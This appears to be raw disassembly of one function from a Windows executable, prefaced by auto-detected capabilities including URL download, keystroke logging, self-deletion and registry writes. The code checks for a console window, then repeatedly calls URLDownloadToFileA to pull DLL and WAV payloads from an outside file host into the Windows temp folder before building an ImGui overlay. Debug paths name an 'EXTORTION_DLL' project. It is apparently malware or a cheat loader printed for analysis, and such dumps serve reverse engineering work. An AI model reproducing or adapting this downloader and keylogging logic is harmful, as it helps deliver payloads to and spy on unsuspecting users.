Function at 0x140050610
Capabilities:
Check for time delay via gettickcount
Create process on windows
Create thread
Download url
Log keystrokes via polling
Receive data
Self delete
Set registry value
Terminate process

Disassembly:
mov rax, rsp
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x738]
sub rsp, 0x7f8
movaps xmmword [rax - 0x58], xmm6
movaps xmmword [rax - 0x68], xmm7
movaps xmmword [rax - 0x78], xmm8
movaps xmmword [rax - 0x88], xmm9
movaps xmmword [rax - 0x98], xmm10
movaps xmmword [rax - 0xa8], xmm11
movaps xmmword [rax - 0xb8], xmm12
movaps xmmword [rax - 0xc8], xmm13
movaps xmmword [rax - 0xd8], xmm14
movaps xmmword [rax - 0xe8], xmm15
xor r13d, r13d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test rax, rax
je 0x140050689
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
movups xmm0, xmmword [str.https:__files.catbox.moe_iwgnea.wav]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1401611f0]
movups xmmword [rbp - 0x50], xmm1
mov eax, dword [0x140161200]
mov dword [rbp - 0x40], eax
movups xmm0, xmmword [str.C:Windows_tempdesactivar.wav]
movups xmmword [rbp - 0x38], xmm0
movsd xmm0, qword [0x140160768]
movsd qword [rbp - 0x28], xmm0
mov eax, dword [0x140160770]
mov dword [rbp - 0x20], eax
movzx eax, word [0x140160774]
mov word [rbp - 0x1c], ax
movzx eax, byte [0x140160776]
mov byte [rbp - 0x1a], al
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp - 0x38]
lea rdx, [rbp - 0x60]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_t1imjw.dll]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140161218]
movups xmmword [rbp + 0x90], xmm1
mov eax, dword [0x140161228]
mov dword [rbp + 0xa0], eax
movups xmm0, xmmword [str.C:Windows_tempMENU.AUNLOCK.dll]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x140160ff8]
movups xmmword [rbp - 0x50], xmm1
movzx eax, byte [0x140161008]
mov byte [rbp - 0x40], al
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x80]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_imfnmf.dll]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x140161240]
movups xmmword [rbp - 0x50], xmm1
mov eax, dword [0x140161250]
mov dword [rbp - 0x40], eax
movups xmm0, xmmword [str.C:Windows_temp_boxrgb.dll]
movups xmmword [rbp - 0x38], xmm0
movsd xmm0, qword [0x1401611a0]
movsd qword [rbp - 0x28], xmm0
movzx eax, word [0x1401611a8]
mov word [rbp - 0x20], ax
movzx eax, byte [0x1401611aa]
mov byte [rbp - 0x1e], al
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp - 0x38]
lea rdx, [rbp - 0x60]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_acg3ql.dll]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140161268]
movups xmmword [rbp + 0x90], xmm1
mov eax, dword [0x140161278]
mov dword [rbp + 0xa0], eax
movups xmm0, xmmword [str.C:Windows_tempPERSONAJERGB.dll]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x140161070]
movups xmmword [rbp - 0x50], xmm1
movzx eax, byte [0x140161080]
mov byte [rbp - 0x40], al
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x80]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_o1hq6v.dll]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x140161290]
movups xmmword [rbp - 0x50], xmm1
mov eax, dword [0x1401612a0]
mov dword [rbp - 0x40], eax
movups xmm0, xmmword [str.C:Windows_tempAMARILLASAUNLOCK.dll]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140161138]
movups xmmword [rbp + 0x90], xmm1
mov eax, dword [0x140161148]
mov dword [rbp + 0xa0], eax
movzx eax, byte [0x14016114c]
mov byte [rbp + 0xa4], al
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp + 0x80]
lea rdx, [rbp - 0x60]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_mbrx6q.dll]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1401612b8]
movups xmmword [rbp - 0x50], xmm1
mov eax, dword [0x1401612c8]
mov dword [rbp - 0x40], eax
movups xmm0, xmmword [str.C:Windows_temp_blanca_1.dll]
movups xmmword [rbp - 0x38], xmm0
movsd xmm0, qword [0x1401610d8]
movsd qword [rbp - 0x28], xmm0
mov eax, dword [0x1401610e0]
mov dword [rbp - 0x20], eax
movzx eax, byte [0x1401610e4]
mov byte [rbp - 0x1c], al
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp - 0x38]
lea rdx, [rbp - 0x60]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_9zmvbi.wav]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1401612e0]
movups xmmword [rbp - 0x50], xmm1
mov eax, dword [0x1401612f0]
mov dword [rbp - 0x40], eax
movups xmm0, xmmword [str.C:WindowsTemp1146585352178503730__2_.wav]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140161308]
movups xmmword [rbp + 0x90], xmm1
movsd xmm0, qword [0x140161318]
movsd qword [rbp + 0xa0], xmm0
mov eax, dword [0x140161320]
mov dword [rbp + 0xa8], eax
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp + 0x80]
lea rdx, [rbp - 0x60]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_yq0943.wav]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x140161338]
movups xmmword [rbp - 0x50], xmm1
mov eax, dword [0x140161348]
mov dword [rbp - 0x40], eax
movups xmm0, xmmword [str.C:WindowsTemp_segxd.wav]
movups xmmword [rbp - 0x38], xmm0
movsd xmm0, qword [0x140161360]
movsd qword [rbp - 0x28], xmm0
movzx eax, word [0x140161368]
mov word [rbp - 0x20], ax
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp - 0x38]
lea rdx, [rbp - 0x60]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [0x1401f7e50]
call fcn.1400cbaf0
mov dword [rbp + 0x530], 0x50
mov dword [rbp + 0x534], 0x40
lea rax, [0x140055ca0]
mov qword [rbp + 0x538], rax
mov qword [rbp + 0x540], r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x548], rax
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x550], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x560], xmm1
lea rax, str.ImGui_Example
mov qword [rbp + 0x570], rax
mov qword [rbp + 0x578], r13
lea rcx, [rbp + 0x530]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r15d, 1
mov ecx, r15d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x147]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
sub eax, 0x1f4
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x38], 0x28f
mov dword [rsp + 0x30], 0x3e8
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
mov r9d, 0x80000000
xor r8d, r8d
mov rdx, qword [rbp + 0x570]
mov ecx, 0x80
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [0x1401c6b10], rax
mov qword [rbp + 0x384], r13
mov qword [rbp + 0x398], 2
mov qword [rbp + 0x3b0], 2
mov qword [rbp + 0x370], r13
mov dword [rbp + 0x380], Ordinal_33
mov dword [rbp + 0x378], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x37c], r15d
mov dword [rbp + 0x394], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x3a0], rax
mov qword [rbp + 0x38c], r15
mov qword [rbp + 0x3a8], r15
mov dword [rbp + 0x748], 0xb000
mov dword [rbp + 0x74c], 0xa000
lea rbx, [0x1401fc920]
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x740]
mov qword [rsp + 0x50], rax
lea rdi, [0x1401fc900]
mov qword [rsp + 0x48], rdi
lea rsi, [0x1401fc8f0]
mov qword [rsp + 0x40], rsi
lea rax, [rbp + 0x370]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rbp + 0x748]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
mov ecx, 5
cmp eax, 0x887a0004
jne 0x140050bed
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x740]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rsi
lea rax, [rbp + 0x370]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rbp + 0x748]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, ecx
xor ecx, ecx
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
je 0x140050c5d
call fcn.140055c20
mov rdx, qword [rbp + 0x548]
mov rcx, qword [rbp + 0x570]
call qword [sym.imp.USER32.dll_UnregisterClassW]
lea r11, [rsp + 0x7f8]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
movaps xmm10, xmmword [r11 - 0x58]
movaps xmm11, xmmword [r11 - 0x68]
movaps xmm12, xmmword [r11 - 0x78]
movaps xmm13, xmmword [r11 - 0x88]
movaps xmm14, xmmword [r11 - 0x98]
movaps xmm15, xmmword [r11 - 0xa8]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov rcx, qword [0x1401fc8f0]
mov rax, qword [rcx]
lea r9, [rbp + 0x750]
lea r8, [0x1401605f8]
xor edx, edx
call qword [rax + 0x48]
mov rcx, qword [0x1401fc900]
mov rax, qword [rcx]
lea r9, [0x1401fc8e8]
xor r8d, r8d
mov rdx, qword [rbp + 0x750]
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x750]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov edx, 0xffffffec
mov rcx, qword [0x1401c6b10]
call qword [sym.imp.USER32.dll_GetWindowLongA]
bts eax, 0x13
mov r8d, eax
mov edx, 0xffffffec
mov rcx, qword [0x1401c6b10]
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, qword [0x1401c6b10]
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov rdi, qword [0x1401c6b10]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140050d54
lea rdx, str.SetWindowCompositionAttribute
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140050d4b
movdqa xmm0, xmmword [reloc.WS2_32.dll_closesocket]
movdqu xmmword [rbp + 0xd0], xmm0
mov dword [rbp - 0x38], reloc.WS2_32.dll_send
lea rcx, [rbp + 0xd0]
mov qword [rbp - 0x30], rcx
mov dword [rbp - 0x28], reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x38]
mov rcx, rdi
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, 0xa
mov rcx, qword [0x1401c6b10]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1401c6b10]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [0x1401c6ae0]
mov rdx, qword [0x1401c6ad0]
mov ecx, 0x5f70
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rcx, qword [0x1401c6ae0]
test rcx, rcx
je 0x140050d9d
inc dword [rcx + 0xf0]
mov qword [rbp + 0x748], rax
lea rcx, [rbp + 0x740]
mov qword [rbp + 0x750], rcx
mov qword [rbp + 0x758], rax
test rax, rax
je 0x140050dca
xor edx, edx
mov rcx, rax
call fcn.140001f70
jmp 0x140050dcd
mov rax, r13
mov qword [0x1401c6ae0], rax
call fcn.140006490
test rbx, rbx
je 0x140050de7
mov qword [0x1401c6ae0], rbx
jmp 0x140050dee
mov rbx, qword [0x1401c6ae0]
test rbx, rbx
jne 0x140050e14
mov r8d, 0x10ae
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1401c6ae0]
or dword [rbx + 8], 3
xorps xmm6, xmm6
xor eax, eax
movups xmmword [rbp + 0x370], xmm6
movups xmmword [rbp + 0x380], xmm6
movaps xmmword [rbp + 0x390], xmm6
movaps xmmword [rbp + 0x3a0], xmm6
movups xmmword [rbp + 0x3b0], xmm6
movups xmmword [rbp + 0x3c0], xmm6
movaps xmmword [rbp + 0x3d0], xmm6
movaps xmmword [rbp + 0x3e0], xmm6
mov qword [rbp + 0x3f0], rax
mov byte [rbp + 0x37c], 1
mov dword [rbp + 0x388], 2
mov dword [rbp + 0x38c], r15d
mov dword [rbp + 0x3b4], 0x7f7fffff
mov dword [rbp + 0x3c0], 0x3f800000
mov eax, 0xffff
mov word [rbp + 0x3c4], ax
mov dword [rbp + 0x3bc], 0x10c
mov rsi, qword [rbx + 0x38]
cmp byte [rsi + 0x18], 0
je 0x140050ec2
mov r8d, 0xbf0
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmm7, xmmword [rbp + 0x370]
movaps xmmword [rbp - 0x10], xmm7
movaps xmm8, xmmword [rbp + 0x380]
movaps xmmword [rbp], xmm8
movaps xmmword [rbp + 0x10], xmm6
movaps xmmword [rbp + 0x20], xmm6
movaps xmm9, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0x30], xmm9
movaps xmm10, xmmword [rbp + 0x3c0]
movaps xmmword [rbp + 0x40], xmm10
movaps xmmword [rbp + 0x50], xmm6
movaps xmmword [rbp + 0x60], xmm6
movsd xmm11, qword [rbp + 0x3f0]
movsd qword [rbp + 0x70], xmm11
movq rdi, xmm7
test rdi, rdi
je 0x140050f37
mov r8d, 0xbf2
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x1401aec50]
mov qword [rbp - 0x10], rax
mov dword [rbp - 8], 0x13398
mov dword [rbp + 4], 0x41800000
lea r14, [0x14015c9b0]
mov qword [rbp + 0x28], r14
lea rdx, [rbp - 0x10]
mov rcx, rsi
call fcn.140029610
mov rsi, qword [rbx + 0x38]
cmp byte [rsi + 0x18], 0
je 0x140050f8b
mov r8d, 0xbf0
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp - 0x10], xmm7
movaps xmmword [rbp], xmm8
movaps xmmword [rbp + 0x10], xmm6
movaps xmmword [rbp + 0x20], xmm6
movaps xmmword [rbp + 0x30], xmm9
movaps xmmword [rbp + 0x40], xmm10
movaps xmmword [rbp + 0x50], xmm6
movaps xmmword [rbp + 0x60], xmm6
movsd qword [rbp + 0x70], xmm11
test rdi, rdi
je 0x140050fd3
mov r8d, 0xbf2
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea r12, [0x14017a110]
mov qword [rbp - 0x10], r12
mov dword [rbp - 8], 0x13328
movss xmm12, dword [0x140162418]
mov dword [rbp + 4], 0x41a00000
mov qword [rbp + 0x28], r14
lea rdx, [rbp - 0x10]
mov rcx, rsi
call fcn.140029610
mov qword [0x1401fd028], rax
mov rsi, qword [rbx + 0x38]
cmp byte [rsi + 0x18], 0
je 0x140051030
mov r8d, 0xbf0
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp - 0x10], xmm7
movaps xmmword [rbp], xmm8
movaps xmmword [rbp + 0x10], xmm6
movaps xmmword [rbp + 0x20], xmm6
movaps xmmword [rbp + 0x30], xmm9
movaps xmmword [rbp + 0x40], xmm10
movaps xmmword [rbp + 0x50], xmm6
movaps xmmword [rbp + 0x60], xmm6
movsd qword [rbp + 0x70], xmm11
test rdi, rdi
je 0x140051078
mov r8d, 0xbf2
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea r15, [0x1401c2b70]
mov qword [rbp - 0x10], r15
mov dword [rbp - 8], 0x1ba4
mov dword [rbp + 4], 0x41a00000
mov qword [rbp + 0x28], r14
lea rdx, [rbp - 0x10]
mov rcx, rsi
call fcn.140029610
mov qword [0x1401fd020], rax
mov rsi, qword [rbx + 0x38]
cmp byte [rsi + 0x18], 0
je 0x1400510cc
mov r8d, 0xbf0
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp - 0x10], xmm7
movaps xmmword [rbp], xmm8
movaps xmmword [rbp + 0x10], xmm6
movaps xmmword [rbp + 0x20], xmm6
movaps xmmword [rbp + 0x30], xmm9
movaps xmmword [rbp + 0x40], xmm10
movaps xmmword [rbp + 0x50], xmm6
movaps xmmword [rbp + 0x60], xmm6
movsd qword [rbp + 0x70], xmm11
test rdi, rdi
je 0x140051114
mov r8d, 0xbf2
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x1401c1ff0]
mov qword [rbp - 0x10], rax
mov dword [rbp - 8], 0xb80
mov dword [rbp + 4], 0x41a00000
mov qword [rbp + 0x28], r14
lea rdx, [rbp - 0x10]
mov rcx, rsi
call fcn.140029610
mov qword [0x1401fd030], rax
mov rsi, qword [rbx + 0x38]
cmp byte [rsi + 0x18], 0
je 0x140051168
mov r8d, 0xbf0
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp - 0x10], xmm7
movaps xmmword [rbp], xmm8
movaps xmmword [rbp + 0x10], xmm6
movaps xmmword [rbp + 0x20], xmm6
movaps xmmword [rbp + 0x30], xmm9
movaps xmmword [rbp + 0x40], xmm10
movaps xmmword [rbp + 0x50], xmm6
movaps xmmword [rbp + 0x60], xmm6
movsd qword [rbp + 0x70], xmm11
test rdi, rdi
je 0x1400511b0
mov r8d, 0xbf2
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov qword [rbp - 0x10], r15
mov dword [rbp - 8], 0x1ba4
mov dword [rbp + 4], 0x41f00000
mov qword [rbp + 0x28], r14
lea rdx, [rbp - 0x10]
mov rcx, rsi
call fcn.140029610
mov rsi, qword [rbx + 0x38]
cmp byte [rsi + 0x18], 0
je 0x1400511f6
mov r8d, 0xbf0
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp - 0x10], xmm7
movaps xmmword [rbp], xmm8
movaps xmmword [rbp + 0x10], xmm6
movaps xmmword [rbp + 0x20], xmm6
movaps xmmword [rbp + 0x30], xmm9
movaps xmmword [rbp + 0x40], xmm10
movaps xmmword [rbp + 0x50], xmm6
movaps xmmword [rbp + 0x60], xmm6
movsd qword [rbp + 0x70], xmm11
test rdi, rdi
je 0x14005123e
mov r8d, 0xbf2
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov qword [rbp - 0x10], r12
mov dword [rbp - 8], 0x13328
mov dword [rbp + 4], 0x41f00000
mov qword [rbp + 0x28], r14
lea rdx, [rbp - 0x10]
mov rcx, rsi
call fcn.140029610
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r13
movaps xmm3, xmm12
mov r8d, 0x20fe0
lea rdx, [0x14018d440]
mov rcx, qword [rbx + 0x38]
call fcn.1400299d0
mov r12, rax
mov qword [rbp + 0x508], rax
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r13
movss xmm3, dword [0x14016242c]
mov r8d, 0x20fe0
lea rdx, [0x14018d440]
mov rcx, qword [rbx + 0x38]
call fcn.1400299d0
mov r15, rax
mov qword [rbp + 0x298], rax
mov rbx, qword [rbx + 0x38]
cmp byte [rbx + 0x18], 0
je 0x1400512e4
mov r8d, 0xbf0
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp - 0x10], xmm7
movaps xmmword [rbp], xmm8
movaps xmmword [rbp + 0x10], xmm6
movaps xmmword [rbp + 0x20], xmm6
movaps xmmword [rbp + 0x30], xmm9
movaps xmmword [rbp + 0x40], xmm10
movaps xmmword [rbp + 0x50], xmm6
movaps xmmword [rbp + 0x60], xmm6
movsd qword [rbp + 0x70], xmm11
test rdi, rdi
je 0x14005132c
mov r8d, 0xbf2
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x1401ae420]
mov qword [rbp - 0x10], rax
mov dword [rbp - 8], 0x824
mov dword [rbp + 4], 0x41f00000
mov qword [rbp + 0x28], r14
lea rdx, [rbp - 0x10]
mov rcx, rbx
call fcn.140029610
mov qword [0x1401fcff8], rax
mov rcx, qword [0x1401c6b10]
call fcn.1400402d0
mov r14, qword [0x1401fc920]
mov rsi, qword [0x1401fc900]
mov rdi, qword [0x1401c6ae0]
test rdi, rdi
jne 0x1400513a3
mov r8d, 0x10ae
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rdi, qword [0x1401c6ae0]
cmp qword [rdi + 0x98], 0
je 0x1400513c7
mov r8d, 0x225
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLL_backendsimgui_impl_dx11.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rdx, qword [0x1401c6ad0]
mov ecx, 0x78
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rbx, rax
mov rax, qword [0x1401c6ae0]
test rax, rax
je 0x1400513ed
inc dword [rax + 0xf0]
test rbx, rbx
je 0x140051420
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
movups xmmword [rbx + 0x60], xmm0
mov dword [rbx + 0x70], 0x1388
mov dword [rbx + 0x74], 0x2710
jmp 0x140051423
mov rbx, r13
mov qword [rdi + 0x98], rbx
lea rax, str.imgui_impl_dx11
mov qword [rdi + 0x88], rax
or dword [rdi + 0xc], 8
mov qword [rbp + 0x748], r13
mov qword [rbp + 0x750], r13
mov qword [rbp + 0x758], r13
mov rax, qword [rsi]
lea r8, [rbp + 0x748]
lea rdx, [0x14015e030]
mov rcx, rsi
call qword [rax]
test eax, eax
jne 0x1400514bb
mov rcx, qword [rbp + 0x748]
mov rax, qword [rcx]
lea r8, [rbp + 0x750]
lea rdx, [0x14015e040]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x1400514bb
mov rcx, qword [rbp + 0x750]
mov rax, qword [rcx]
lea r8, [rbp + 0x758]
lea rdx, [0x14015e050]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x1400514bb
mov qword [rbx], rsi
mov qword [rbx + 8], r14
mov rax, qword [rbp + 0x758]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp + 0x748]
test rcx, rcx
je 0x1400514cd
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp + 0x750]
test rcx, rcx
je 0x1400514df
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
xorps xmm14, xmm14
xor sil, sil
mov dword [rbp + 0x740], esi
movzx ebx, byte [rbp + 0x740]
movzx edi, byte [rbp + 0x740]
movss xmm15, dword [0x1401624f0]
movss xmm9, dword [0x140162448]
movss xmm11, dword [0x140162490]
movss xmm13, dword [0x140162434]
movss xmm8, dword [0x140162390]
mov r14d, 1
movss xmm6, dword [0x140162324]
movss xmm7, dword [0x140162410]
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x370]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x1400515c6
nop
lea rcx, [rbp + 0x370]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x370]
call qword [sym.imp.USER32.dll_DispatchMessageA]
movzx esi, sil
cmp dword [rbp + 0x378], 0x12
cmove esi, r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x370]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140051570
mov dword [rbp + 0x740], esi
test sil, sil
jne 0x140055991
mov r8d, dword [0x1401fc888]
test r8d, r8d
je 0x14005167c
mov r9d, dword [0x1401fc8f8]
test r9d, r9d
je 0x14005167c
mov rcx, qword [0x1401fc8e8]
test rcx, rcx
je 0x14005160d
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401fc8e8], r13
mov r8d, dword [0x1401fc888]
mov r9d, dword [0x1401fc8f8]
mov rcx, qword [0x1401fc8f0]
mov rax, qword [rcx]
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor edx, edx
call qword [rax + 0x68]
mov dword [0x1401fc8f8], r13d
mov dword [0x1401fc888], r13d
mov rcx, qword [0x1401fc8f0]
mov rax, qword [rcx]
lea r9, [rbp + 0x2a8]
lea r8, [0x1401605f8]
xor edx, edx
call qword [rax + 0x48]
mov rcx, qword [0x1401fc900]
mov rax, qword [rcx]
lea r9, [0x1401fc8e8]
xor r8d, r8d
mov rdx, qword [rbp + 0x2a8]
call qword [rax + 0x48]
